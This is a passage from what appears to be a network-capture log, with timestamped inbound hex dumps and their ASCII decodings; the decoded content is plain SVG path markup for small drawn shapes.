3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 37 2c 32 36 30 2e 37 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 Data Ascii: 1,0,3.58"></path><path class="cls-9" d="M785.62,269.39a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.81,2.81,0,0,1,3.62.19,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M785.7,260.71a2.15,2.15,0,0,1-1.09,2.75,3.15,3.15,0
2023-05-31 12:52:12 UTC	7481	IN	Data Raw: 4d 38 32 30 2e 30 35 2c 33 36 35 2e 31 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 36 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 32 30 2e 31 33 2c 33 35 36 2e 35 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 36 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 2c 32 2e 38 2c 30 2c Data Ascii: M820.05,365.18a2.16,2.16,0,0,1-1.09,2.76,3.17,3.17,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M820.13,356.5a2.16,2.16,0,0,1-1.1,2.76,3.16,3.16,0,0,1-4.12-1.36,3,3,0,0,1,.8-3.58,2.8,2.8,0,
2023-05-31 12:52:12 UTC	7497	IN	Data Raw: 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 35 34 2e 35 36 2c 34 35 32 2e 33 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 Data Ascii: 2.75,3.15,3.15,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M854.56,452.3a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58
2023-05-31 12:52:12 UTC	7513	IN	Data Raw: 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 38 32 2e 33 32 2c 33 30 35 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 38 32 2e 34 2c 32 39 36 2e 32 39 61 32 2e 31 35 2c Data Ascii: .82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M882.32,305a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M882.4,296.29a2.15,
2023-05-31 12:52:12 UTC	7529	IN	Data Raw: 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 31 36 2e 37 35 2c 34 30 30 2e 37 37 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 31 36 2e 38 33 2c 33 39 32 2e 30 39 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 Data Ascii: 0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M916.75,400.77a2.15,2.15,0,0,1-1.09,2.75,3.16,3.16,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M916.83,392.09a2.16,2.16,0,0
2023-05-31 12:52:12 UTC	7545	IN	Data Raw: 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 34 34 2e 35 32 2c 32 35 33 2e 34 34 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 34 34 2e 36 2c 32 34 34 2e 37 36 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e Data Ascii: "cls-9" d="M944.52,253.44a2.16,2.16,0,0,1-1.09,2.75,3.15,3.15,0,0,1-4.13-1.35,3,3,0,0,1,.8-3.58,2.81,2.81,0,0,1,3.62.19,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M944.6,244.76a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.
2023-05-31 12:52:12 UTC	7561	IN	Data Raw: 37 37 2c 32 32 35 2e 35 39 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 34 39 2e 34 37 2c 32 31 36 2e 38 32 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 Data Ascii: 77,225.59a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M49.47,216.82a2.17,2.17,0,0,1-1,2.82,3.17,3.17,0,0,1-4.22-1.19,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3
2023-05-31 12:52:12 UTC	7577	IN	Data Raw: 22 20 64 3d 22 4d 38 38 2e 34 32 2c 33 31 32 2e 31 38 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 38 38 2e 31 32 2c 33 30 33 2e 34 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 41 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2c 38 32 2e 39 2c 33 30 35 61 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 Data Ascii: " d="M88.42,312.18a2.18,2.18,0,0,1-1,2.82,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"></path><path class="cls-7" d="M88.12,303.4a2.19,2.19,0,0,1-1,2.83A3.2,3.2,0,0,1,82.9,305a3,3,0,0,1,.65-3.65,2.86,2.86,0
2023-05-31 12:52:12 UTC	7593	IN	Data Raw: 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 30 39 2e 38 33 2c 31 35 33 2e 32 35 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 Data Ascii: 1,.65-3.66,2.84,2.84,0,0,1,3.66.05,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7" d="M109.83,153.25a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67.05,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7"
2023-05-31 12:52:12 UTC	7609	IN	Data Raw: 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 34 38 2e 37 37 2c 32 34 38 2e 36 31 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 34 38 2e 34 37 2c 32 33 39 2e 38 33 61 Data Ascii: 2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7" d="M148.77,248.61a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7" d="M148.47,239.83a
2023-05-31 12:52:12 UTC	7625	IN	Data Raw: 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 37 30 2e 34 38 2c 39 38 2e 34 36 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 37 30 2e 31 38 2c 38 39 2e 36 39 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 Data Ascii: 69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M170.48,98.46a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M170.18,89.69a2.16,2.16,0,0,1-1,2.82
2023-05-31 12:52:12 UTC	7641	IN	Data Raw: 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 30 39 2e 34 32 2c 31 39 33 2e 38 32 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 30 39 2e 31 33 2c 31 38 35 2e 30 35 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 38 Data Ascii: ,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M209.42,193.82a2.17,2.17,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"></path><path class="cls-7" d="M209.13,185.05a2.17,2.17,0,0,1-1,2.82,3.18
2023-05-31 12:52:12 UTC	7657	IN	Data Raw: 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 34 38 2e 33 37 2c 32 38 39 2e 31 38 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 34 38 2e 30 37 2c 32 38 30 2e 34 31 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 37 2c 33 2e 31 37 Data Ascii: 9,0,0,1,.2,3.62"></path><path class="cls-7" d="M248.37,289.18a2.18,2.18,0,0,1-1,2.83,3.17,3.17,0,0,1-4.22-1.19,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M248.07,280.41a2.16,2.16,0,0,1-1,2.82,3.17,3.17
2023-05-31 12:52:13 UTC	7673	IN	Data Raw: 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 37 30 2e 30 38 2c 31 33 39 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 36 39 2e 37 38 2c 31 33 30 2e 32 36 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d Data Ascii: "></path><path class="cls-7" d="M270.08,139a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M269.78,130.26a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-
2023-05-31 12:52:13 UTC	7689	IN	Data Raw: 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 30 39 2c 32 33 34 2e 34 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 30 38 2e 37 32 2c 32 32 35 2e 36 32 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 Data Ascii: h><path class="cls-7" d="M309,234.4a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3,3,0,0,1,.65-3.66,2.84,2.84,0,0,1,3.66,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M308.72,225.62a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3,3,0,0,1
2023-05-31 12:52:13 UTC	7705	IN	Data Raw: 3d 22 4d 33 33 30 2e 37 33 2c 38 34 2e 32 35 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 37 2c 32 2e 38 37 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 34 37 2e 36 37 2c 33 32 31 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 Data Ascii: ="M330.73,84.25a2.18,2.18,0,0,1-1,2.83,3.17,3.17,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.87,2.87,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M347.67,321a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2
2023-05-31 12:52:13 UTC	7721	IN	Data Raw: 20 64 3d 22 4d 33 36 39 2e 36 37 2c 31 37 39 2e 36 31 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 37 2c 32 2e 38 37 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 36 39 2e 33 38 2c 31 37 30 2e 38 33 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 Data Ascii: d="M369.67,179.61a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.66,2.87,2.87,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"></path><path class="cls-7" d="M369.38,170.83a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2
2023-05-31 12:52:13 UTC	7737	IN	Data Raw: 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 31 31 2e 37 2c 33 33 39 2e 31 33 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d Data Ascii: 09,2.81,2.81,0,0,1,.59-3.37,2.64,2.64,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M311.7,339.13a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.18,3.32"></path><path class=
